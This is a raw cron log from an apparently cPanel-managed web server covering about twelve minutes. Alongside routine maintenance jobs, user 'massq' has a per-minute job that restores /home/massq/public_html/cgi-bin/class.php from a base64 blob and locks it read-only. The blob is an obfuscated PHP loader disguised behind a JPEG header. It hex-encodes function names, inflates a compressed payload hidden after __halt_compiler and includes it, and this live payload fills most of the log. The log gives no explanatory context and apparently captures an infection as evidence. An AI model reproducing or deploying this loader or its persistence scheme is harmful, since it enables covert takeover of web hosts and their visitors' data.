Sep 11 22:08:02 server CROND[828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:08:02 server CROND[834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:09:01 server CROND[1288]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 22:09:01 server CROND[1289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:09:01 server CROND[1290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:09:01 server CROND[1292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:10:01 server CROND[1799]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:10:01 server CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:10:01 server CROND[1804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:10:01 server CROND[1809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:10:01 server CROND[1808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:10:01 server CROND[1806]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:10:01 server CROND[1807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:10:01 server CROND[1805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:11:01 server CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:11:01 server CROND[2715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:11:01 server CROND[2716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:12:01 server CROND[3103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:12:01 server CROND[3104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:12:01 server CROND[3105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:12:01 server CROND[3106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:13:01 server CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:13:01 server CROND[3488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:13:01 server CROND[3489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:14:01 server CROND[3868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:14:01 server CROND[3869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:14:01 server CROND[3870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:15:01 server CROND[4355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:15:01 server CROND[4354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:15:01 server CROND[4357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:15:01 server CROND[4374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:15:01 server CROND[4377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:15:01 server CROND[4376]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 22:15:01 server CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:15:01 server CROND[4375]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:15:01 server CROND[4373]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 22:16:01 server CROND[5230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:16:01 server CROND[5231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:16:01 server CROND[5235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:17:01 server CROND[5622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:17:01 server CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:17:01 server CROND[5623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:18:01 server CROND[6017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:18:01 server CROND[6018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:18:01 server CROND[6019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:19:01 server CROND[6441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:19:01 server CROND[6442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:19:01 server CROND[6443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:20:02 server CROND[7009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:20:02 server CROND[7029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
